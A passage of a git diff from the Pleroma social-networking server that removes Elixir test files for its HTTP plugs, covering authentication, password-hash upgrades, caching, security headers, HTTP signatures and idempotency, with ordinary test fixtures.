AdminSecretAuthenticationPlug.call(%{}) - - assert conn.assigns[:user].is_admin - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - end - - test "with `x-admin-token` HTTP header", %{conn: conn} do - Pleroma.Config.put(:admin_token, "☕️") - - conn = - conn - |> put_req_header("x-admin-token", "🥛") - |> AdminSecretAuthenticationPlug.call(%{}) - - refute conn.assigns[:user] - assert called(RateLimiter.call(conn, name: :authentication)) - - conn = - conn - |> put_req_header("x-admin-token", "☕️") - |> AdminSecretAuthenticationPlug.call(%{}) - - assert conn.assigns[:user].is_admin - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - end - end -end diff --git a/test/plugs/authentication_plug_test.exs b/test/plugs/authentication_plug_test.exs deleted file mode 100644 index 777ae15ae..000000000 --- a/test/plugs/authentication_plug_test.exs +++ /dev/null @@ -1,125 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.AuthenticationPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.AuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - alias Pleroma.User - - import ExUnit.CaptureLog - import Pleroma.Factory - - setup %{conn: conn} do - user = %User{ - id: 1, - name: "dude", - password_hash: Pbkdf2.hash_pwd_salt("guy") - } - - conn = - conn - |> assign(:auth_user, user) - - %{user: user, conn: conn} - end - - test "it does nothing if a user is assigned", %{conn: conn} do - conn = - conn - |> assign(:user, %User{}) - - ret_conn = - conn - |> AuthenticationPlug.call(%{}) - - assert ret_conn == conn - end - - test "with a correct password in the credentials, " <> - "it assigns the auth_user and marks OAuthScopesPlug as skipped", - %{conn: conn} do - conn = - conn - |> assign(:auth_credentials, %{password: "guy"}) - |> AuthenticationPlug.call(%{}) - - assert conn.assigns.user == conn.assigns.auth_user - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - end - - test "with a bcrypt hash, it updates to a pkbdf2 hash", %{conn: conn} do - user = insert(:user, password_hash: Bcrypt.hash_pwd_salt("123")) - assert "$2" <> _ = user.password_hash - - conn = - conn - |> assign(:auth_user, user) - |> assign(:auth_credentials, %{password: "123"}) - |> AuthenticationPlug.call(%{}) - - assert conn.assigns.user.id == conn.assigns.auth_user.id - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - - user = User.get_by_id(user.id) - assert "$pbkdf2" <> _ = user.password_hash - end - - @tag :skip_on_mac - test "with a crypt hash, it updates to a pkbdf2 hash", %{conn: conn} do - user = - insert(:user, - password_hash: - "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" - ) - - conn = - conn - |> assign(:auth_user, user) - |> assign(:auth_credentials, %{password: "password"}) - |> AuthenticationPlug.call(%{}) - - assert conn.assigns.user.id == conn.assigns.auth_user.id - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - - user = User.get_by_id(user.id) - assert "$pbkdf2" <> _ = user.password_hash - end - - describe "checkpw/2" do - test "check pbkdf2 hash" do - hash = - "$pbkdf2-sha512$160000$loXqbp8GYls43F0i6lEfIw$AY.Ep.2pGe57j2hAPY635sI/6w7l9Q9u9Bp02PkPmF3OrClDtJAI8bCiivPr53OKMF7ph6iHhN68Rom5nEfC2A" - - assert AuthenticationPlug.checkpw("test-password", hash) - refute AuthenticationPlug.checkpw("test-password1", hash) - end - - @tag :skip_on_mac - test "check sha512-crypt hash" do - hash = - "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" - - assert AuthenticationPlug.checkpw("password", hash) - end - - test "check bcrypt hash" do - hash = "$2a$10$uyhC/R/zoE1ndwwCtMusK.TLVzkQ/Ugsbqp3uXI.CTTz0gBw.24jS" - - assert AuthenticationPlug.checkpw("password", hash) - refute AuthenticationPlug.checkpw("password1", hash) - end - - test "it returns false when hash invalid" do - hash = - "psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" - - assert capture_log(fn -> - refute Pleroma.Plugs.AuthenticationPlug.checkpw("password", hash) - end) =~ "[error] Password hash not recognized" - end - end -end diff --git a/test/plugs/basic_auth_decoder_plug_test.exs b/test/plugs/basic_auth_decoder_plug_test.exs deleted file mode 100644 index a6063d4f6..000000000 --- a/test/plugs/basic_auth_decoder_plug_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.BasicAuthDecoderPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.BasicAuthDecoderPlug - - defp basic_auth_enc(username, password) do - "Basic " <> Base.encode64("#{username}:#{password}") - end - - test "it puts the decoded credentials into the assigns", %{conn: conn} do - header = basic_auth_enc("moonman", "iloverobek") - - conn = - conn - |> put_req_header("authorization", header) - |> BasicAuthDecoderPlug.call(%{}) - - assert conn.assigns[:auth_credentials] == %{ - username: "moonman", - password: "iloverobek" - } - end - - test "without a authorization header it doesn't do anything", %{conn: conn} do - ret_conn = - conn - |> BasicAuthDecoderPlug.call(%{}) - - assert conn == ret_conn - end -end diff --git a/test/plugs/cache_control_test.exs b/test/plugs/cache_control_test.exs deleted file mode 100644 index 6b567e81d..000000000 --- a/test/plugs/cache_control_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.CacheControlTest do - use Pleroma.Web.ConnCase - alias Plug.Conn - - test "Verify Cache-Control header on static assets", %{conn: conn} do - conn = get(conn, "/index.html") - - assert Conn.get_resp_header(conn, "cache-control") == ["public, no-cache"] - end - - test "Verify Cache-Control header on the API", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(conn, "cache-control") == ["max-age=0, private, must-revalidate"] - end -end diff --git a/test/plugs/cache_test.exs b/test/plugs/cache_test.exs deleted file mode 100644 index 8b231c881..000000000 --- a/test/plugs/cache_test.exs +++ /dev/null @@ -1,186 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.CacheTest do - use ExUnit.Case, async: true - use Plug.Test - - alias Pleroma.Plugs.Cache - - @miss_resp {200, - [ - {"cache-control", "max-age=0, private, must-revalidate"}, - {"content-type", "cofe/hot; charset=utf-8"}, - {"x-cache", "MISS from Pleroma"} - ], "cofe"} - - @hit_resp {200, - [ - {"cache-control", "max-age=0, private, must-revalidate"}, - {"content-type", "cofe/hot; charset=utf-8"}, - {"x-cache", "HIT from Pleroma"} - ], "cofe"} - - @ttl 5 - - setup do - Cachex.clear(:web_resp_cache) - :ok - end - - test "caches a response" do - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert_raise(Plug.Conn.AlreadySentError, fn -> - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end) - - assert @hit_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> sent_resp() - end - - test "ttl is set" do - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: @ttl}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @hit_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: @ttl}) - |> sent_resp() - - :timer.sleep(@ttl + 1) - - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: @ttl}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "set ttl via conn.assigns" do - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> assign(:cache_ttl, @ttl) - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @hit_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> sent_resp() - - :timer.sleep(@ttl + 1) - - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "ignore query string when `query_params` is false" do - assert @miss_resp == - conn(:get, "/?cofe") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @hit_resp == - conn(:get, "/?cofefe") - |> Cache.call(%{query_params: false, ttl: nil}) - |> sent_resp() - end - - test "take query string into account when `query_params` is true" do - assert @miss_resp == - conn(:get, "/?cofe") - |> Cache.call(%{query_params: true, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @miss_resp == - conn(:get, "/?cofefe") - |> Cache.call(%{query_params: true, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "take specific query params into account when `query_params` is list" do - assert @miss_resp == - conn(:get, "/?a=1&b=2&c=3&foo=bar") - |> fetch_query_params() - |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @hit_resp == - conn(:get, "/?bar=foo&c=3&b=2&a=1") - |> fetch_query_params() - |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) - |> sent_resp() - - assert @miss_resp == - conn(:get, "/?bar=foo&c=3&b=2&a=2") - |> fetch_query_params() - |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "ignore not GET requests" do - expected = - {200, - [ - {"cache-control", "max-age=0, private, must-revalidate"}, - {"content-type", "cofe/hot; charset=utf-8"} - ], "cofe"} - - assert expected == - conn(:post, "/") - |> Cache.call(%{query_params: true, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "ignore non-successful responses" do - expected = - {418, - [ - {"cache-control", "max-age=0, private, must-revalidate"}, - {"content-type", "tea/iced; charset=utf-8"} - ], "🥤"} - - assert expected == - conn(:get, "/cofe") - |> Cache.call(%{query_params: true, ttl: nil}) - |> put_resp_content_type("tea/iced") - |> send_resp(:im_a_teapot, "🥤") - |> sent_resp() - end -end diff --git a/test/plugs/ensure_authenticated_plug_test.exs b/test/plugs/ensure_authenticated_plug_test.exs deleted file mode 100644 index a0667c5e0..000000000 --- a/test/plugs/ensure_authenticated_plug_test.exs +++ /dev/null @@ -1,96 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsureAuthenticatedPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.EnsureAuthenticatedPlug - alias Pleroma.User - - describe "without :if_func / :unless_func options" do - test "it halts if user is NOT assigned", %{conn: conn} do - conn = EnsureAuthenticatedPlug.call(conn, %{}) - - assert conn.status == 403 - assert conn.halted == true - end - - test "it continues if a user is assigned", %{conn: conn} do - conn = assign(conn, :user, %User{}) - ret_conn = EnsureAuthenticatedPlug.call(conn, %{}) - - refute ret_conn.halted - end - end - - test "it halts if user is assigned and MFA enabled", %{conn: conn} do - conn = - conn - |> assign(:user, %User{multi_factor_authentication_settings: %{enabled: true}}) - |> assign(:auth_credentials, %{password: "xd-42"}) - |> EnsureAuthenticatedPlug.call(%{}) - - assert conn.status == 403 - assert conn.halted == true - - assert conn.resp_body == - "{\"error\":\"Two-factor authentication enabled, you must use a access token.\"}" - end - - test "it continues if user is assigned and MFA disabled", %{conn: conn} do - conn = - conn - |> assign(:user, %User{multi_factor_authentication_settings: %{enabled: false}}) - |> assign(:auth_credentials, %{password: "xd-42"}) - |> EnsureAuthenticatedPlug.call(%{}) - - refute conn.status == 403 - refute conn.halted - end - - describe "with :if_func / :unless_func options" do - setup do - %{ - true_fn: fn _conn -> true end, - false_fn: fn _conn -> false end - } - end - - test "it continues if a user is assigned", %{conn: conn, true_fn: true_fn, false_fn: false_fn} do - conn = assign(conn, :user, %User{}) - refute EnsureAuthenticatedPlug.call(conn, if_func: true_fn).halted - refute EnsureAuthenticatedPlug.call(conn, if_func: false_fn).halted - refute EnsureAuthenticatedPlug.call(conn, unless_func: true_fn).halted - refute EnsureAuthenticatedPlug.call(conn, unless_func: false_fn).halted - end - - test "it continues if a user is NOT assigned but :if_func evaluates to `false`", - %{conn: conn, false_fn: false_fn} do - ret_conn = EnsureAuthenticatedPlug.call(conn, if_func: false_fn) - refute ret_conn.halted - end - - test "it continues if a user is NOT assigned but :unless_func evaluates to `true`", - %{conn: conn, true_fn: true_fn} do - ret_conn = EnsureAuthenticatedPlug.call(conn, unless_func: true_fn) - refute ret_conn.halted - end - - test "it halts if a user is NOT assigned and :if_func evaluates to `true`", - %{conn: conn, true_fn: true_fn} do - conn = EnsureAuthenticatedPlug.call(conn, if_func: true_fn) - - assert conn.status == 403 - assert conn.halted == true - end - - test "it halts if a user is NOT assigned and :unless_func evaluates to `false`", - %{conn: conn, false_fn: false_fn} do - conn = EnsureAuthenticatedPlug.call(conn, unless_func: false_fn) - - assert conn.status == 403 - assert conn.halted == true - end - end -end diff --git a/test/plugs/ensure_public_or_authenticated_plug_test.exs b/test/plugs/ensure_public_or_authenticated_plug_test.exs deleted file mode 100644 index fc2934369..000000000 --- a/test/plugs/ensure_public_or_authenticated_plug_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Config - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.User - - setup do: clear_config([:instance, :public]) - - test "it halts if not public and no user is assigned", %{conn: conn} do - Config.put([:instance, :public], false) - - conn = - conn - |> EnsurePublicOrAuthenticatedPlug.call(%{}) - - assert conn.status == 403 - assert conn.halted == true - end - - test "it continues if public", %{conn: conn} do - Config.put([:instance, :public], true) - - ret_conn = - conn - |> EnsurePublicOrAuthenticatedPlug.call(%{}) - - refute ret_conn.halted - end - - test "it continues if a user is assigned, even if not public", %{conn: conn} do - Config.put([:instance, :public], false) - - conn = - conn - |> assign(:user, %User{}) - - ret_conn = - conn - |> EnsurePublicOrAuthenticatedPlug.call(%{}) - - refute ret_conn.halted - end -end diff --git a/test/plugs/ensure_user_key_plug_test.exs b/test/plugs/ensure_user_key_plug_test.exs deleted file mode 100644 index 633c05447..000000000 --- a/test/plugs/ensure_user_key_plug_test.exs +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsureUserKeyPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.EnsureUserKeyPlug - - test "if the conn has a user key set, it does nothing", %{conn: conn} do - conn = - conn - |> assign(:user, 1) - - ret_conn = - conn - |> EnsureUserKeyPlug.call(%{}) - - assert conn == ret_conn - end - - test "if the conn has no key set, it sets it to nil", %{conn: conn} do - conn = - conn - |> EnsureUserKeyPlug.call(%{}) - - assert Map.has_key?(conn.assigns, :user) - end -end diff --git a/test/plugs/http_security_plug_test.exs b/test/plugs/http_security_plug_test.exs deleted file mode 100644 index 2297e3dac..000000000 --- a/test/plugs/http_security_plug_test.exs +++ /dev/null @@ -1,140 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Plug.Conn - - describe "http security enabled" do - setup do: clear_config([:http_security, :enabled], true) - - test "it sends CSP headers when enabled", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - - refute Conn.get_resp_header(conn, "x-xss-protection") == [] - refute Conn.get_resp_header(conn, "x-permitted-cross-domain-policies") == [] - refute Conn.get_resp_header(conn, "x-frame-options") == [] - refute Conn.get_resp_header(conn, "x-content-type-options") == [] - refute Conn.get_resp_header(conn, "x-download-options") == [] - refute Conn.get_resp_header(conn, "referrer-policy") == [] - refute Conn.get_resp_header(conn, "content-security-policy") == [] - end - - test "it sends STS headers when enabled", %{conn: conn} do - clear_config([:http_security, :sts], true) - - conn = get(conn, "/api/v1/instance") - - refute Conn.get_resp_header(conn, "strict-transport-security") == [] - refute Conn.get_resp_header(conn, "expect-ct") == [] - end - - test "it does not send STS headers when disabled", %{conn: conn} do - clear_config([:http_security, :sts], false) - - conn = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(conn, "strict-transport-security") == [] - assert Conn.get_resp_header(conn, "expect-ct") == [] - end - - test "referrer-policy header reflects configured value", %{conn: conn} do - resp = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(resp, "referrer-policy") == ["same-origin"] - - clear_config([:http_security, :referrer_policy], "no-referrer") - - resp = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(resp, "referrer-policy") == ["no-referrer"] - end - - test "it sends `report-to` & `report-uri` CSP response headers", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - - [csp] = Conn.get_resp_header(conn, "content-security-policy") - - assert csp =~ ~r|report-uri https://endpoint.com;report-to csp-endpoint;| - - [reply_to] = Conn.get_resp_header(conn, "reply-to") - - assert reply_to == - "{\"endpoints\":[{\"url\":\"https://endpoint.com\"}],\"group\":\"csp-endpoint\",\"max-age\":10886400}" - end - - test "default values for img-src and media-src with disabled media proxy", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - - [csp] = Conn.get_resp_header(conn, "content-security-policy") - assert csp =~ "media-src 'self' https:;" - assert csp =~ "img-src 'self' data: blob: https:;" - end - end - - describe "img-src and media-src" do - setup do - clear_config([:http_security, :enabled], true) - clear_config([:media_proxy, :enabled], true) - clear_config([:media_proxy, :proxy_opts, :redirect_on_failure], false) - end - - test "media_proxy with base_url", %{conn: conn} do - url = "https://example.com" - clear_config([:media_proxy, :base_url], url) - assert_media_img_src(conn, url) - end - - test "upload with base url", %{conn: conn} do - url = "https://example2.com" - clear_config([Pleroma.Upload, :base_url], url) - assert_media_img_src(conn, url) - end - - test "with S3 public endpoint", %{conn: conn} do - url = "https://example3.com" - clear_config([Pleroma.Uploaders.S3, :public_endpoint], url) - assert_media_img_src(conn, url) - end - - test "with captcha endpoint", %{conn: conn} do - clear_config([Pleroma.Captcha.Mock, :endpoint], "https://captcha.com") - assert_media_img_src(conn, "https://captcha.com") - end - - test "with media_proxy whitelist", %{conn: conn} do - clear_config([:media_proxy, :whitelist], ["https://example6.com", "https://example7.com"]) - assert_media_img_src(conn, "https://example7.com https://example6.com") - end - - # TODO: delete after removing support bare domains for media proxy whitelist - test "with media_proxy bare domains whitelist (deprecated)", %{conn: conn} do - clear_config([:media_proxy, :whitelist], ["example4.com", "example5.com"]) - assert_media_img_src(conn, "example5.com example4.com") - end - end - - defp assert_media_img_src(conn, url) do - conn = get(conn, "/api/v1/instance") - [csp] = Conn.get_resp_header(conn, "content-security-policy") - assert csp =~ "media-src 'self' #{url};" - assert csp =~ "img-src 'self' data: blob: #{url};" - end - - test "it does not send CSP headers when disabled", %{conn: conn} do - clear_config([:http_security, :enabled], false) - - conn = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(conn, "x-xss-protection") == [] - assert Conn.get_resp_header(conn, "x-permitted-cross-domain-policies") == [] - assert Conn.get_resp_header(conn, "x-frame-options") == [] - assert Conn.get_resp_header(conn, "x-content-type-options") == [] - assert Conn.get_resp_header(conn, "x-download-options") == [] - assert Conn.get_resp_header(conn, "referrer-policy") == [] - assert Conn.get_resp_header(conn, "content-security-policy") == [] - end -end diff --git a/test/plugs/http_signature_plug_test.exs b/test/plugs/http_signature_plug_test.exs deleted file mode 100644 index e6cbde803..000000000 --- a/test/plugs/http_signature_plug_test.exs +++ /dev/null @@ -1,89 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do - use Pleroma.Web.ConnCase - alias Pleroma.Web.Plugs.HTTPSignaturePlug - - import Plug.Conn - import Phoenix.Controller, only: [put_format: 2] - import Mock - - test "it call HTTPSignatures to check validity if the actor sighed it" do - params = %{"actor" => "http://mastodon.example.org/users/admin"} - conn = build_conn(:get, "/doesntmattter", params) - - with_mock HTTPSignatures, validate_conn: fn _ -> true end do - conn = - conn - |> put_req_header( - "signature", - "keyId=\"http://mastodon.example.org/users/admin#main-key" - ) - |> put_format("activity+json") - |> HTTPSignaturePlug.call(%{}) - - assert conn.assigns.valid_signature == true - assert conn.halted == false - assert called(HTTPSignatures.validate_conn(:_)) - end - end - - describe "requires a signature when `authorized_fetch_mode` is enabled" do - setup do - Pleroma.Config.put([:activitypub, :authorized_fetch_mode], true) - - on_exit(fn -> - Pleroma.Config.put([:activitypub, :authorized_fetch_mode], false) - end) - - params = %{"actor" => "http://mastodon.example.org/users/admin"} - conn = build_conn(:get, "/doesntmattter", params) |> put_format("activity+json") - - [conn: conn] - end - - test "when signature header is present", %{conn: conn} do - with_mock HTTPSignatures, validate_conn: fn _ -> false end do - conn = - conn - |> put_req_header( - "signature", - "keyId=\"http://mastodon.example.org/users/admin#main-key" - ) - |> HTTPSignaturePlug.call(%{}) - - assert conn.assigns.valid_signature == false - assert conn.halted == true - assert conn.status == 401 - assert conn.state == :sent - assert conn.resp_body == "Request not signed" - assert called(HTTPSignatures.validate_conn(:_)) - end - - with_mock HTTPSignatures, validate_conn: fn _ -> true end do - conn = - conn - |> put_req_header( - "signature", - "keyId=\"http://mastodon.example.org/users/admin#main-key" - ) - |> HTTPSignaturePlug.call(%{}) - - assert conn.assigns.valid_signature == true - assert conn.halted == false - assert called(HTTPSignatures.validate_conn(:_)) - end - end - - test "halts the connection when `signature` header is not present", %{conn: conn} do - conn = HTTPSignaturePlug.call(conn, %{}) - assert conn.assigns[:valid_signature] == nil - assert conn.halted == true - assert conn.status == 401 - assert conn.state == :sent - assert conn.resp_body == "Request not signed" - end - end -end diff --git a/test/plugs/idempotency_plug_test.exs b/test/plugs/idempotency_plug_test.exs deleted file mode 100644 index 21fa0fbcf..000000000 --- a/test/plugs/idempotency_plug_test.exs +++ /dev/null @@ -1,110 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.IdempotencyPlugTest do - use ExUnit.Case, async: true - use Plug.Test - - alias Pleroma.Plugs.IdempotencyPlug - alias Plug.Conn - - test "returns result from cache" do - key = "test1" - orig_request_id = "test1" - second_request_id = "test2" - body = "testing" - status = 200 - - :post - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> Conn.put_resp_header("x-request-id", orig_request_id) - |> Conn.put_resp_content_type("application/json") - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - conn = - :post - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> Conn.put_resp_header("x-request-id", second_request_id) - |> Conn.put_resp_content_type("application/json") - |> IdempotencyPlug.call([]) - - assert_raise Conn.AlreadySentError, fn -> - Conn.send_resp(conn, :im_a_teapot, "no cofe") - end - - assert conn.resp_body == body - assert conn.status == status - - assert [^second_request_id] = Conn.get_resp_header(conn, "x-request-id") - assert [^orig_request_id] = Conn.get_resp_header(conn, "x-original-request-id") - assert [^key] = Conn.get_resp_header(conn, "idempotency-key") - assert ["true"] = Conn.get_resp_header(conn, "idempotent-replayed") - assert ["application/json; charset=utf-8"] = Conn.get_resp_header(conn, "content-type") - end - - test "pass conn downstream if the cache not found" do - key = "test2" - orig_request_id = "test3" - body = "testing" - status = 200 - - conn = - :post - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> Conn.put_resp_header("x-request-id", orig_request_id) - |> Conn.put_resp_content_type("application/json") - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - assert conn.resp_body == body - assert conn.status == status - - assert [] = Conn.get_resp_header(conn, "idempotent-replayed") - assert [^key] = Conn.get_resp_header(conn, "idempotency-key") - end - - test "passes conn downstream if idempotency is not present in headers" do - orig_request_id = "test4" - body = "testing" - status = 200 - - conn = - :post - |> conn("/cofe") - |> Conn.put_resp_header("x-request-id", orig_request_id) - |> Conn.put_resp_content_type("application/json") - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - assert [] = Conn.get_resp_header(conn, "idempotency-key") - end - - test "doesn't work with GET/DELETE" do - key = "test3" - body = "testing" - status = 200 - - conn = - :get - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - assert [] = Conn.get_resp_header(conn, "idempotency-key") - - conn = - :delete - |> conn("/cofe") - |> put_req_header("idempotency-key", key) - |> IdempotencyPlug.call([]) - |> Conn.send_resp(status, body) - - assert [] = Conn.get_resp_header(conn, "idempotency-key") - end -end diff --git a/test/plugs/instance_static_test.exs b/test/plugs/instance_static_test.exs deleted file mode 100644 index d42ba817e..000000000 --- a/test/plugs/instance_static_test.exs +++ /dev/null @@ -1,65 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.InstanceStaticPlugTest do - use Pleroma.Web.ConnCase - - @dir "test/tmp/instance_static" - - setup do - File.mkdir_p!(@dir) - on_exit(fn -> File.rm_rf(@dir) end) - end - - setup do: clear_config([:instance, :static_dir], @dir) - - test "overrides index" do - bundled_index = get(build_conn(), "/") - refute html_response(bundled_index, 200) == "hello world" - - File.write!(@dir <> "/index.html", "hello world") - - index = get(build_conn(), "/") - assert html_response(index, 200) == "hello world" - end - - test "also overrides frontend files", %{conn: conn} do - name = "pelmora" - ref = "uguu" - - clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) - - bundled_index = get(conn, "/") - refute html_response(bundled_index, 200) == "from frontend plug" - - path = "#{@dir}/frontends/#{name}/#{ref}" - File.mkdir_p!(path) - File.write!("#{path}/index.html", "from frontend plug") - - index = get(conn, "/") - assert html_response(index, 200) == "from frontend plug" - - File.write!(@dir <> "/index.html", "from instance static") - - index = get(conn, "/") - assert html_response(index, 200) == "from instance static" - end - - test "overrides any file in static/static" do - bundled_index = get(build_conn(), "/static/terms-of-service.html") - - assert html_response(bundled_index, 200) == - File.read!("priv/static/static/terms-of-service.html") - - File.mkdir!(@dir <> "/static") - File.write!(@dir <> "/static/terms-of-service.html", "plz be kind") - - index = get(build_conn(), "/static/terms-of-service.html") - assert html_response(index, 200) == "plz be kind" - - File.write!(@dir <> "/static/kaniini.html", "<h1>rabbit hugs as a service</h1>") - index = get(build_conn(), "/static/kaniini.html") - assert html_response(index, 200) == "<h1>rabbit hugs as a service</h1>" - end -end diff --git a/test/plugs/legacy_authentication_plug_test.exs b/test/plugs/legacy_authentication_plug_test.exs deleted file mode 100644 index 3b8c07627..000000000 --- a/test/plugs/legacy_authentication_plug_test.exs +++ /dev/null @@ -1,82 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Plugs.LegacyAuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - alias Pleroma.User - - setup do - user = - insert(:user, - password: "password", - password_hash: - "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" - ) - - %{user: user} - end - - test "it does nothing if a user is assigned", %{conn: conn, user: user} do - conn = - conn - |> assign(:auth_credentials, %{username: "dude", password: "password"}) - |> assign(:auth_user, user) - |> assign(:user, %User{}) - - ret_conn = - conn - |> LegacyAuthenticationPlug.call(%{}) - - assert ret_conn == conn - end - - @tag :skip_on_mac - test "if `auth_user` is present and password is correct, " <> - "it authenticates the user, resets the password, marks OAuthScopesPlug as skipped", - %{ - conn: conn, - user: user - } do - conn = - conn - |> assign(:auth_credentials, %{username: "dude", password: "password"}) - |> assign(:auth_user, user) - - conn = 